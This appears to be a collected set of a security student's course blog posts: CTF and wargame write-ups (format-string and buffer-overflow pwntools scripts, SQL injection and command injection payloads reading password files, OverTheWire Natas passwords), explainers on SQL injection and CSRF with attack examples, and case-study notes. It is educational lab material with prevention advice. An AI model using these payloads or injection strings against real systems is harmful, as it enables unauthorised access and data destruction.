z5161477

Case study: Incident Response

What should be done to improve the safety of schools in the US relating to the school shootings?

Assets

Lives in general (students, staff, ...)

School reputation

Threats

School shooters - they can be:

Students (with mental health issues)

Gun owners

Mitigations

Have multiple perimeter protection (check for potential weapons)

Check for student and staff ID at the gate (can use biometrics)

Have more security guards trained to respond to gun violence

Make sure the hospitals and police stations are nearby

Update: I actually in 3rd (or 1st) place.

This week I’ve completed almost all challenges on plsdonthaq.me hosted by some of the tutors in COMP64[84]1.

I’m going to walk through some of the interesting challenges (and some stupid ones too).

misc - shuffle

The file contains some gibberish which from the look of it I think it’s ASCII art.

I immediately notice the digits. My first guess was that they are line numbers. I wrote a simple script to sort the lines:

touch ascii.txt for i in 593 $(seq 0 593) do l=$(grep "::$i::" shuffle.txt) echo "$l" >>ascii.txt done `</pre> Flag: MAKING ASCII ART IS A KEY PART OF THE HACKERS TOOLKIT ## binary - format2 This took me the most time to solve as I was too lazy to download 32-bit Ubuntu on a VM. Eventually, I did and realised how quickly and easier it was to solve the challenge.  The file is 32-bit ELF LSB executable binary:  Note: I used[ gdb-peda](https://github.com/longld/peda). This is obviously a format string vulnerability. So I put it in GDB: <pre>`gdb-peda$ disass main Dump of assembler code for function main: 0x080491b6 <+0>: lea ecx,[esp+0x4] 0x080491ba <+4>: and esp,0xfffffff0 0x080491bd <+7>: push DWORD PTR [ecx-0x4] 0x080491c0 <+10>: push ebp 0x080491c1 <+11>: mov ebp,esp 0x080491c3 <+13>: push ebx 0x080491c4 <+14>: push ecx 0x080491c5 <+15>: call 0x80490f0 <__x86.get_pc_thunk.bx> 0x080491ca <+20>: add ebx,0x2e36 0x080491d0 <+26>: sub esp,0xc 0x080491d3 <+29>: lea eax,[ebx-0x1ff8] 0x080491d9 <+35>: push eax 0x080491da <+36>: call 0x8049070 <puts@plt> 0x080491df <+41>: add esp,0x10 0x080491e2 <+44>: mov eax,DWORD PTR [ebx-0x8] 0x080491e8 <+50>: mov eax,DWORD PTR [eax] 0x080491ea <+52>: sub esp,0xc 0x080491ed <+55>: push eax 0x080491ee <+56>: call 0x8049040 <fflush@plt> 0x080491f3 <+61>: add esp,0x10 0x080491f6 <+64>: call 0x804920a <do_the_format> 0x080491fb <+69>: mov eax,0x0 0x08049200 <+74>: lea esp,[ebp-0x8] 0x08049203 <+77>: pop ecx 0x08049204 <+78>: pop ebx 0x08049205 <+79>: pop ebp 0x08049206 <+80>: lea esp,[ecx-0x4] 0x08049209 <+83>: ret End of assembler dump.

We can see the main function is not doing much besides calling puts (probably to print the banner) and calling the do_the_format function. Going to the do_the_format function gives:

<pre>`gdb-peda$ disass do_the_format Dump of assembler code for function do_the_format: 0x0804920a <+0>: push ebp 0x0804920b <+1>: mov ebp,esp 0x0804920d <+3>: push ebx 0x0804920e <+4>: sub esp,0x74 0x08049211 <+7>: call 0x80490f0 <__x86.get_pc_thunk.bx> 0x08049216 <+12>: add ebx,0x2dea 0x0804921c <+18>: mov eax,gs:0x14 0x08049222 <+24>: mov DWORD PTR [ebp-0xc],eax 0x08049225 <+27>: xor eax,eax 0x08049227 <+29>: sub esp,0x8 0x0804922a <+32>: lea eax,[ebx-0x2d42] 0x08049230 <+38>: push eax 0x08049231 <+39>: lea eax,[ebx-0x1e60] 0x08049237 <+45>: push eax 0x08049238 <+46>: call 0x8049030 <printf@plt> 0x0804923d <+51>: add esp,0x10 0x08049240 <+54>: mov eax,DWORD PTR [ebx-0x8] 0x08049246 <+60>: mov eax,DWORD PTR [eax] 0x08049248 <+62>: sub esp,0xc 0x0804924b <+65>: push eax 0x0804924c <+66>: call 0x8049040 <fflush@plt> 0x08049251 <+71>: add esp,0x10 0x08049254 <+74>: mov eax,DWORD PTR [ebx-0xc] 0x0804925a <+80>: mov eax,DWORD PTR [eax] 0x0804925c <+82>: sub esp,0x4 0x0804925f <+85>: push eax 0x08049260 <+86>: push 0x63 0x08049262 <+88>: lea eax,[ebp-0x71] 0x08049265 <+91>: push eax 0x08049266 <+92>: call 0x8049050 <fgets@plt> 0x0804926b <+97>: add esp,0x10 0x0804926e <+100>: mov BYTE PTR [ebp-0xd],0x0 0x08049272 <+104>: sub esp,0xc 0x08049275 <+107>: lea eax,[ebp-0x71] 0x08049278 <+110>: push eax 0x08049279 <+111>: call 0x8049030 <printf@plt> 0x0804927e <+116>: add esp,0x10 0x08049281 <+119>: sub esp,0xc 0x08049284 <+122>: lea eax,[ebx-0x1d88] 0x0804928a <+128>: push eax 0x0804928b <+129>: call 0x8049070 <puts@plt> 0x08049290 <+134>: add esp,0x10 0x08049293 <+137>: mov eax,DWORD PTR [ebx-0x8] 0x08049299 <+143>: mov eax,DWORD PTR [eax] 0x0804929b <+145>: sub esp,0xc 0x0804929e <+148>: push eax 0x0804929f <+149>: call 0x8049040 <fflush@plt> 0x080492a4 <+154>: add esp,0x10 0x080492a7 <+157>: nop 0x080492a8 <+158>: mov eax,DWORD PTR [ebp-0xc] 0x080492ab <+161>: xor eax,DWORD PTR gs:0x14 0x080492b2 <+168>: je 0x80492b9 <do_the_format+175> 0x080492b4 <+170>: call 0x8049360 <__stack_chk_fail_local> 0x080492b9 <+175>: mov ebx,DWORD PTR [ebp-0x4] 0x080492bc <+178>: leave 0x080492bd <+179>: ret End of assembler dump.

The entry point of attack is the printf function located at 0x08049279, also right after that is puts at 0x0804928b and fflush at 0x0804929f. I know this based on the analysis of the good old Ghidra:

We can see the printf function is taking the variable that has our input with a buffer of 100 in length.

Another function we can see is print_the_flag, which is located at 0x80492be:

So far we’ve got:

Vulnerable printf at 0x08049279

Buffer size is 100* 2 functions to be a trampoline to jump to print_the_flag

puts at 0x0804928b

fflush at 0x0804929f* Function to get flag at 0x80492be

Great, now it’s time to exploit.

We first need to find the eip. We can easily do that by doing the good old AAAA%x trick:

It looks like our input is at the 6th address on the stack (A=0x41) but with a padding of some sort. We can verify this by having an extra character at the start:

Note: I’ve also used %6$p to print the value of the 6th address on the stack, which is our input (with a padding of 1 character of course).

Now we need to get the GOT address of either of the two trampoline functions, here I will choose fflush:

0x0804929f <+149&>: call 0x8049040 <fflush@plt>

We can see in the do_the_format function, it is calling fflush at 

0x8049040.

We can examine this address using gdb:

Sure enough, the address is a jump call to 0x804c010, which is the address of fflush in the GOT.

Now we just need to modify 0x804c010 to be 0x80492be, which is where the print_the_flag function located.

I’ve written a Python script to print out the payload:

import struct from pwn import * FLAG = 0x80492be FFLUSH = 0x804c010 def pad(s): return s+"X"*(100-len(s)) exploit = " " exploit += struct.pack("I", FFLUSH) exploit += struct.pack("I", FFLUSH+2) exploit += "%2043x" exploit += "%7$hn" exploit += "%35514x" exploit += "%6$hn" exploit = pad(exploit) r = remote('plsdonthaq.me', 1002) r.recvuntil(">") r.sendline(exploit) r.interactive()

More info on how this script is written here.

Executing the script gives us a reverse shell:

More writeups can be found on my Github here.

Conclusion

I’ve managed to come 4th (or 3rd):

I’ve solved most of the challenges and found them quite intuitive after the course:

Case study: Ghost

Suppose you are the friendly Major M from the base who can see the alien A but who cannot see the invisible man X.

Q: What would you M do to get from X his report on the Alien's (A's) planet?

Analysis

This is similar to the case with Houdini where he had to communicate through mediums. In this case, we need to authenticate and verify the message.

A few important things I think is necessary for the communication protocol to work:

Each message must be verified

The Alien cannot be trusted

Protocol

We had two approaches to this problem.

My approach is to tell X (since they can hear us but not able to talk to us) to follow us to a discrete place. We can then trade keys which we can use to encrypt each of our messages. Then we can return back to the room with the alien and start exchanging conversation. If the encrypted message from the alien cannot be decrypted using our proposed keys, we then know the alien is lying and the message is not correctly relayed to us.

Another way is to first share a secret way to verify a message if it’s correctly translated or not. We can do this for every message and the phrase for verifying would have to be secret to the alien.

In both approaches, we assume that the alien is compliance and we can safely share our secrets without the alien knowing. Also, there is no way to force the alien to correctly translate the message if it doesn’t want to.

Conclusion

Dear Gitzon,

I would like to apply for the Security Engineer position advertised on your website.

I would like to address my skills and abilities in 5 key areas:

Analytical Skills

Time Management

Skills

Community and Professionalism

'Something Awesome' Project

I look forward to hearing from you.

Sincerely,

Research

I have spent a lot of time researching for web application vulnerabilities for my ‘Something Awesome’ project:

XSS [link]

CSRF [link]

SQL Injection [link]

I also did some research on cryptography:

Bits of security in Cryptography [link]

Symmetrical vs. Asymmetrical Cryptography [link]

RSA Algorithm [link]

Other research on various topics:

The life expectancy of a computer connected to the internet [link]

Type I/Type II errors [link]

The Chernobyl disaster [link]

The Titan II Nuclear Facility [link]

Reflection

I posted at least one reflective post on Case studies (from the tutorial and on open-learning):

Week 1 - Human errors is one of the biggest factors that can lead to disasters [link]

Week 2 - Proving your identity through an unreliable medium [link]

Week 3 - Security of an airplane and the importance of improving security from accidents [link]

Week 4 - Building a threat model is a good way to analyse your assets [link]

Week 5 - Different points of view on assets [link]

Week 6 - Improving the defensive and offensive capabilities of Australia [link]

Week 7 - The importance of personal data [link]

Week 8 - Authentication and Integrity [link]

Application

I did a lot of CTFs and wargames. Using the knowledge from my research, I was able to make good progress and solve the challenges:

WarGame Week 2 Crypto challenge [link]

OverTheWire/Natas 1-3 [link]

OverTheWire/Natas 4-10 [link]

Hackthissite.co.uk Main - Basic+ [link]

SecSoc CTF T2 2019 [link]

plsdonthaq.me COMP6441 CTF [link]

Participation

I’ve managed to participate in SecSoc CTF along with a friend in the course. Although we didn’t make it to the top 3, we’ve learned so many skills from each other and managed to improve our security understandings in different topics.

I’ve also written my thought process while solving the challenges:

SecSoc CTF T2 2019 [link]

Security everywhere

I’ve retweeted security issues almost every week. Sometimes I would tweet out my thought process on some of the things at uni relating to security [link].

Teamwork

I have been commenting and being helpful on Openlearning:

Responsible data handling

Everything went well for the first few weeks but I had a bad cold in week 3. During the 2 weeks of being sick, I managed to go to another tute (Jazz’s) and prioritised writing reflective tutorial blogs and saving blogs on other topics for later.

Tutorial Case study blogs:

Week 1 [link]

Week 2 [link]

Week 3 [link]

Week 4 (Jazz’s tute) [link]

Week 5 [link]

Week 6 [link]

Week 7 [link]

Week 8 [link]

Technical ability

During this course, I’ve managed to write a couple of scripts to apply my knowledge on different aspects of Security:

Cracking Unix passwords with Python [link]

Port Scanning with nmap [link]

Research Skills

I’ve done some research on some of the most common web vulnerabilities and how to prevent them:

XSS [link]

CSRF [link]

SQL Injection [link]

Other research on cryptography:

Bits of security in Cryptography [link]

Symmetrical vs. Asymmetrical Cryptography [link]

RSA Algorithm [link]

I’ve made a post on ways to get away with stealing a penguin [link].

Practical Skills

My idea for the project is to learn web security, participate in CTFs and write a few Python scripts to help with learning security.

I’ve proposed the project and got the approval from the tutor in week 2 [link].

I’ve also submitted my video presentation in week 8 [link].

Research on web security vulnerabilities:

XSS [link]

CSRF [link]

SQL Injection [link]

CTFs and Wargames:

WarGame Week 2 Crypto challenge [link]

OverTheWire/Natas 1-3 [link]

OverTheWire/Natas 4-10 [link]

Hackthissite.co.uk Main - Basic+ [link]

SecSoc CTF T2 2019 [link]

plsdonthaq.me COMP6441 CTF [link]

Scripts:

Cracking Unix passwords with Python [link]

I will be covering a few of the challenges I found interesting during the SecSoc CTF last Saturday in this post.

Web - Riddle In The Dark

Deep down here by the dark water lived old Gollum, a small slimy creature. Riddles were all he could think of. Asking them, and sometimes guessing them, had been the only game he had ever played with other funny creatures sitting in their holes in the long, long ago, before he lost all his friends and was driven away. (Ping @Viv for troubleshooting)

http://riddle.unswsecurity.com/

The link shows a simple site with some Lord of the Rings riddles where the answers can easily be found on the internet. Each correct answer will advance you to the next question.

For example:

Riddle:

What has roots as nobody sees, Is taller than trees, Up, up, up it goes And yet, never grows

Answer:

mountain

After getting to the last riddle:

What have I got in my pocket?

The obvious answer “ring” or “the ring” does not work.

After checking for Network requests, I found out there’s a secret hidden input storing the riddle id:

I first check by changing the value to “9″ and submit:

At first, this might seem like a normal Flask error, but if you look closely at the end:

Bingo! This looks like an unsafe way to query SQL statements. I first tried the classic:

' OR 1=1; --


A different error! This time the cause was by the server joining the string returned from the query:

We can try to test it by limiting the number of rows returned using:

' OR 1=1 LIMIT 1; --

Just as we suspected, we returned to the first riddle (since we’re only getting the first row of the query, naturally only the first riddle is returned):

From the error logs, we can see that the server is executing SQLITE statements. We can try to get all the tables from the database by using:

1' UNION SELECT sql FROM sqlite_master; --


As you can see, besides id, riddle, ans and response, we also got a column ring. This might be what we’re looking for.

To get the column, I used:

1' UNION SELECT ring FROM riddles LIMIT 1; --

But it shows an error:

This is because the row’s ring value might be empty. To check for all rows, we can use the OFFSET keyword:

1' UNION SELECT ring FROM riddles LIMIT 1 OFFSET 1; --

Finally, the ring was found:

The hint for the vulnerability might have been in the title all along: Riddle In The Dark - Blind SQL Injection.

Although everyone thinks this is an easy challenge, this is actually my first ‘real’ SQL injection exploit. I’m quite proud of my work and being able to get the flag feels great.

bufff

A classic buffer overflow challenge:

I analysed the file with Ghidra:

The main function calls indestructible():

After checking the value of the buffer (local_56), I’ve noticed that the size is 82 in decimals.

The function to jump to is appropriately called ohSh1t:

With the address of 0x08048556:

Putting everything together, I’ve written a Python script using pwntools to get exploit the binary:

from pwn import * r = remote('ctf.unswsecurity.com', 7002) r.send("a"*86 + "\x56\x85\x04\x08" + "\n") print r.recvuntil("\n") r.interactive()

This week I decided to switch to hackthis.co.uk to do some of their challenges. The challenges were difficult but I was satisfied with the learning process along the way.

I am going to go through some of the interesting challenges from Main to Basic+.

Main

This category contains some of the easier challenges to introduce people to the site. Most of the challenges here are quite similar to the first few levels in OverTheWire/Natas.

Level 6

The challenge requires you to log in as Ronald while the select box doesn’t contain Ronald as one of the usernames.

We can try and modify the HTML in place using the Developer Tools in Chrome.

Now we can submit as Ronald and complete the challenge.

Level 9

This challenge contains a login form with a link to request for the credentials.

After clicking on the link, the page shows:

I’ve tried putting random emails in but it does not work.

After checking the source, it reveals another hidden input with an email of [email protected].

When I input the email, the page gives another error.

I’m guessing that the page checks with the hidden input to see if the two matches. I changed the hidden input’s email and match it with the input and the challenge is solved.

Basic+

This level contains some of the more interesting challenges, not just web vulnerabilities exploits but forensics as well.

Level 1

We are provided with a file called b1.txt, which contains some gibberish when opened.

I noticed the word BM6, and immediately thinking that this might be a BMP file, so I changed the extension to .bmp and got this image:

And that’s the flag to complete the challenge.

Level 3

The challenge shows a Flash application on the page which has a Score and a Submit button.

After clicking submit and checking the outbound network traffic, I see that the site is sending HTTP requests that have the score as part of the form-data.

I can just use cURL to resend the request with the score 194175 to complete the challenge:

curl 'https://www.hackthis.co.uk/levels/b3.php?submit' ...... --data 'score=109384'

Level 4

The challenge provides an image:

Nothing was out of the ordinary after checking with strings and file. However, when I look into the EXIF data, it shows the author to be _james _with the comment _I like chocolate_.

I immediately tried to log in with username: _james _and password: I like chocolate but it didn’t work. However, after thinking for a while, I tried to log in with the same username but the password changed to **chocolate **and it worked.

Level 5

Again I was given an image with a login form:

Running strings on the image shows the login credentials at the end:

strings b5.jpg

Logging in with admin for username and safe for password completes the challenge.

Level 7

With this last level, the hint shows the site is running some services.

I tried running nmap to scan for possible open ports.

nmap -p 1-65535 hackthis.co.uk ... Discovered open port 22/tcp on 85.159.213.101 Discovered open port 443/tcp on 85.159.213.101 Discovered open port 80/tcp on 85.159.213.101 Discovered open port 6459/tcp on 85.159.213.101 Discovered open port 6776/tcp on 85.159.213.101 Discovered open port 6460/tcp on 85.159.213.101 ...

I see that ssh, ftp and http ports are open but they are just normal services, nothing suspicious.

After some trials and errors, I found the flag when trying to netcat to port 6776:

netcat hackthis.co.uk 6776 Welcome weary traveller. I believe you are looking for this: mapthat

Conclusion

I’ve learned a lot while solving these challenges, especially on how to do network forensics. I hope this would be a good preparation for the upcoming SecSoc CTF that I am going to attend this Saturday.

My short write-ups can be found in my Github here:

Case study: Privacy and Data collection

Should the government or government agencies collect and have access to your data for good purposes, or should citizens, e.g. you, have a right to privacy which stops them?

Arguments for data collection

Terrorists/Criminals

Can quickly identify criminals based on behavior and surveillance

Fingerprints/Biometrics can be used to aid police investigations

Can prevent future crimes

Recognition systems

Reduce the need for manual checking, reduce the cost of hiring people

Sometimes more accurate than manual checking

Reduce human errors and emotion

Convenience, no need to carry ID cards

Data

Records and data can be used to identify white collar crimes

Can be used to guide urban planning projects

Better management of economy

Arguments against data collection

Misuse of data

The government can abuse data, alter elections voting to favor them

Selling to other countries, affect national security

Reduce trust in government

How do we trust that the gov will keep our data safe?

We cannot trust the future government to keep our data safe

Create a great division between citizens and the government

Critical infrastructure depending on the data

Bugs in the software may cause malfunctions

Vulnerable and can be exploited

Having a single point of failure means a greater impact when things go wrong

Relying too much on recognition systems

Prone to errors and can lead to Type I/II error situations

Can cause misjudgments

Conclusion

SQL

Structured Query Language or SQL is a programming language used to manage data in a system. A web server might use SQL databases to store their data such as user info and credentials. 

When a user registers an account, an INSERT statement is made to the SQL database to add a new user. When a user performs a login action, their inputs are checked against the database using the SELECT statement and query all the records matching the input. If the input credentials match the ones in the SQL database, the user is then authorised.

Example:

SELECT * FROM users WHERE name = ‘Bob’;

SQL Injection

SQL Injection is a type of code injection, where the user’s input is used to make unintended queries to the database. This exploits the vulnerability where the website’s input is used directly to make dynamic queries to the database without any sanitisations.

SQL injection was considered one of the top 10 web application vulnerabilities of 2007 and 2010 by the Open Web Application Security Project.

Example of a dynamic query:

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

Here the variable userName stores the user’s input. If the user were to enter 

' OR '1'='1

, the statement becomes:

statement = "SELECT * FROM users WHERE name = '" + “'OR '1'='1” + "';"

The complete query statement would be:

SELECT * FROM users WHERE name = '' OR '1'='1';

The OR operator makes the WHERE clause to be always true, hence all records from the users table will be returned.

Knowing this, we can also execute other commands like DROP to delete records:

userName = “a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't”

The complete query statement would be:

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

This is extremely dangerous where the client can make direct calls to execute queries in the database such as deleting records, editing records or adding new records into the system.

SQL injection can be used to edit records saved on the site’s database. Imagine all of your school’s students database can be accessed through the school’s website. If someone were to exploit SQL injection vulnerabilities, they can edit students’ marks, get all students’ private information or delete all fees payment records.

Preventing SQL Injections

The best way to prevent SQL injections is to sanitise inputs, both from the web client (using javascript) and at the backend (e.g. PHP).

Other mitigation methods are:

Parameterized statements - using placeholders instead of embedding user input in the statement

Escaping - escape SQL strings before querying

Database permissions - limiting the permissions on the database login used by the web application to only what is needed

In week 4, I’ve done the first 3 levels of OverTheWire - Natas. This week, I’ve attempted and completed the challenges from level 4 - level 10.

Level 4

Login: natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

The page seems to show the client’s or request’s origin to be blank and only authorises users from “http://natas5.natas.labs.overthewire.org/”.

This is a sign to me that I will have to do an HTTP request forgery. I’ve covered CSRF here. 

Turns out you can set your origin with the Referer field in HTTP requests.

Using this cURL command, I was able to retrieve the password for the next level:

curl --user natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ --referer "http://natas5.natas.labs.overthewire.org/" "http://natas4.natas.labs.overthewire.org/"

Level 5

Login: natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

This challenge was quite easy as the loggedin key was in the Cookies and it was set to 0. All I needed to do is to set it to 1 and refresh.

Level 6

Login: natas6:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

The page shows an input box and a submit button to a form. There's also a link to its source code, written in PHP.

One key thing in the PHP code is the secret variable, stored in includes/secret.inc:

Knowing this, I tried to access the file directly from the URL http://natas6.natas.labs.overthewire.org/includes/secret.inc and there it is:

Submitting the form with the secret gives us the password for level 7.

Level 7

Login: natas7:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

On the page, there are 2 links and when clicked on, they directed to the associated PHP page.

I noticed the URL had a parameter page to query the PHP file.

In the HTML source code, there’s a hint:

At this moment, I knew right away what to do:

http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

The URL leads to the password for level 8.

Level 8

Login: natas8:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

Similar to Level 6, there a form and a link to the PHP source code.

This time, the secret is encoded using PHP functions.

Now all I had to do is reverse the encodedSecret variable to get the real secret.

hex2bin: ==QcCtmMml1ViV3b

strrev: b3ViV1lmMmtCcQ==

base64_decode: oubWYf2kBq

Submitting the secret shows the password for the next level.

Level 9

Login: natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

This one took me the longest to solve. The page shows an input field and an output field, where the output shows matching words of the input in a file called dictionary.txt.

The input is passed right to a function called passthru, which executes shell commands with the given input. This is a huge vulnerability where we can just pass in our command into the string to control the output.

The reason why it took me so long is that after trying all the command injection strings like “; ls” or “\n ls”, I realised I forgot to comment out the rest of the string, which is “dictionary.txt”, hence why the command injection didn’t work.

The corrected input is put into cURL and executed to show the password:

curl --user natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl "http://natas9.natas.labs.overthewire.org/" -F needle="something; cat /etc/natas_webpass/natas10 #" -F submit=Search

Notice that I put /etc/natas_webpass/ in the command, this hint was given in an earlier challenge.

Level 10

Login: natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

The challenge is similar to Level 9, but this time there is input sanitisation.

The trick is to just put a dot then the injected command:

curl --user natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu "http://natas10.natas.labs.overthewire.org" -F needle=". cat /etc/natas_webpass/natas11 #" -F submit=Search

Conclusion

The challenges were simple yet taught me a lot about web vulnerabilities. The most valuable thing that I’ve learned was to never execute shell command without proper input sanitisation. 

Overall, it felt great being able to solve these challenges but I want to move on to other CTF sites just to see how other challenges are designed.

My short write-ups can be found in my Github here:

This tutorial was the first tutorial after the mid-term exam so the case study and discussion was more on the lighter side.

Case study: National security

This week we were tasked to come up with 5 ways to improve protection against cyber attacks and 5 ways to improve offensive capabilities for Australia.

Improving protection against cyber attacks

Cybersecurity training: larger budget should be given to cybersecurity training in both high school and university. The more people know about security, the easier it is to detect and defend against attacks.

Keeping secret: if the enemies don’t see potential in hacking our system, then there is no need to waste time doing so. We should keep national assets hidden from other countries. Even though it might have an effect on the economy, we should not be the first priority target of the enemies.

Mutually assured destruction: opposite from the point above, we should scare our enemies from attacking us by threats of war and/or data leaks from our spies. Doing so might lead to a cyber war but, often than not, if the enemies are smart enough, they won’t be attacking us any time soon.

Going offline: ensure that all critical infrastructures and systems have analog backups (written, tapes, etc.) and like the Titan II missile system, disconnect military systems entirely from the internet (use secured internal network).

Making allies: if we can’t beat them, join them. Recruit more hackers and agents from other countries to work for the security division. Though this will have the obvious downside of being spied on and attacked from within. Heavy surveillance is highly recommended.

Improving offensive capabilities

Cybersecurity training: again, train better hackers with more knowledge to find and exploit vulnerabilities of other countries’ systems.

Better equipment: ensure that the cyber division of the military will have the budget for high-tech equipment.

Better security agency: train a team of professionals like the FBI or CIA to go on espionage missions and gather data from other countries.

Hacking contests: having monthly or annually contests for hackers (anonymously of course) to join and compete. Winners will be recruited and trained to go on offensive hacking missions.

Mercenaries: hire hackers from other countries to attack the target for us. This helps cover our tracks and easier to do.

Conclusion

Cross-Site Request Forgery

According to OWASP, a Cross-Site Request Forgery (CSRF) is "an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated". To understand this, we need to know what's in an HTTP request and how can one forge it.

HTTP requests

The Hypertext Transfer Protocol or HTTP for short is a protocol used in data communication for the web. Often when we browse the web, we make HTTP requests to the web server to let them know what to send back to us to display in our browser. 

The HTTP request format has:

A start-line describing the requests or the status of the last request. Request methods are often included here when we make a request to the server. 

The four common methods are GET, POST, DELETE, PUT. When we enter a URL to the browser and press enter, we first make a GET request to the web server that the URL points to.

Header fields describing the properties of the request. The request header field is part of the header fields where it allows users to pass information about the request and the user themselves. 

Some of the important fields are Authorization, Connection, From, Host, Referer, User-Agent.

An empty line indicating the end of the header fields.

The message body (optional). This contains data associated with the request such as content for form submission or HTML data. 

Every time you go to www.google.com, you will have to make a GET request to get the homepage of the search engine. An example of an HTTP GET request that your browser makes to www.google.com:

GET HTTP/1.1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 Host: www.google.com Connection: Keep-Alive

As you can see, Google can see the information that the browser automatically put in the request like User-Agent. This information tells Google that you are using Firefox 47.0 on a Windows x64 machine. Of course, much more information is sent in a typical HTTP request by your browser but here I am showing you how much data is given away to the web server that you don't know.

CSRF Attacks

When a website makes a request to another web server on behalf of the user, there won't be any security concerns as long as no authentication is needed. However, when the user's session cookie is sent with the request, an attacker can do a CSRF attack. 

There is a common theme in CRSF and XSS attacks, that is the process of attacking comprises of building a malicious URL then tricking the victim into executing it using social engineering or phishing. 

The difference between CRSF and XSS attacks is CSRF happens when the server trusts the user/browser, while XSS doesn't need an authenticated session and can be exploited when the vulnerable website doesn't do the basics of validating or escaping input.

Example of a CSRF GET attack

A bank called TrustedBank has a website to allow clients to check on their account and make transactions. One of the valid transactions is to transfer money to another account, given that the client is logged in. 

The URL is a GET request with parameters for the amount of money and the account to transfer to is:

http://trustedbank.com/transfer?amount=100000&account=Bob

The request must include a session cookie to verify that the client is logged in before going through the transferring process. Because of having a session cookie, the request doesn't need to have a source as all the information about the client is stored in the cookie. A hacker Elliot knows this vulnerability and tricked Bob into clicking on this URL:

http://trustedbank.com/transfer?amount=1337&account=Elliot

Of course, the hacker can try to mask the URL with HTML by including it in a <img> tag:

<img data-fr-src="http://trustedbank.com/transfer?amount=1337&account=Elliot" />

If the victim is already logged in and clicked on the malicious image, he will make a request to the bank to transfer money to Elliot's account without him knowing.

Example of a CSRF POST attack

Often than not, the URL for making transactions only accepts POST requests, as we do have to submit the information provided in the web form, with the parameters provided in the message body.

A POST request to transfer the money might look like this:

POST http://trustedbank.com/transfer HTTP/1.1 amount=1337&account=Elliot

The request cannot be spoofed into a <img> tag like before, but rather a form like this:

<form action="http://trustedbank.com/transfer" method="POST"> <input type="hidden" name="account" value="Elliot"/> <input type="hidden" name="amount" value="1337"/> <input type="submit" value="View my pictures"/> </form>

Example of origin spoofing

Some sites might require the referer field in the HTTP header to know where the request is coming from and prevent CSRF attacks. But the attackers can counter this by giving the same site URL in the referer to spoof the origin of the request as if it came from the same site.

POST http://trustedbank.com/transfer HTTP/1.1 Referer: www.trustedbank.com amount=1337&account=Elliot

Preventing CSRF

Many attempts have been made to counter this kind of attack. These are the prevention measures that do NOT work: using a secret cookie, only accepting POST requests, HTTPS, URL Rewriting, Multi-Step Transactions.

Since Cross-site attacks happen on the client side, it is hard to have a full-proof prevention method. Security experts propose many CSRF prevention methods such as using a referer header, using HttpOnly flag, etc. but not all of them are effective in every case. 

Two practical approaches to handle CSRF are:

Anti-CSRF tokens: When a user submits a form or makes some other authenticated request that requires a Cookie, the Anti-CSRF token should be included in the request. The web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

Same-site Cookies: The same-site attribute is set by the server when setting the Cookie and requests the browser to only send the cookie in a first-party context, therefore, the request has to originate from the same origin – requests made by third-party sites will not include the same-site Cookie.

Conclusion

Nuclear Weapons Storage Facilities

The podcast about the Titan II Nuclear Missile can be found here.

Podcast summary:

The Titan II was a nuclear missile having the firepower of all the explosives of WWII combined, times three. A team was responsible for maintaining the Propellant Transfer System (PTS) on the Titan II. They worked hard in a dangerous environment where the liquid fuel in the bottom tanks could ignite at when in contact with any object.

One day, two overworked staff members used the wrong tool to open the socket up high in the launch duct. Since the facility was old, there were gaps between the missile and the platform, small enough gaps for the loosened socket to fall through. And it did. The fuel tank was punctured, fuel started spraying out and the missile exploded, destroying the complex. Toxic clouds of vapor from the oxidizer that didn’t burn off started to poison the staff.

Notes:

The fuel system is old, liquid fuel stored in tanks includes rocket fuel and oxidisers. Rocket fuel and oxidiser are volatile.

The oxidiser is poisonous and can ignite spontaneously if it comes in contact with leather, paper, cloth, wood. The fuel would ignite if contacted with rust.

Assets

The most important asset that the US Government wanted to protect was the nuclear missile. They wanted to prevent it from going off unexpectedly and ensure the safety of civilians, as well as the staff maintaining the complex.

Threats

Fuel system failure and combust, leading to an explosion

Staffs overwork, reducing the ability to follow procedures correctly and making rational decisions

The warhead exploding can lead to casualties up to millions, potentially starting a new world war

Mitigations

Protect the fuel tanks with strong and thick outer plates. Ensure that they are puncture-proof

Replace the old fuel system with something less volatile

Ensure staffs having enough rest before their shift begins

Install an emergency system to lock down the fuel tanks in case a leak or combustion happens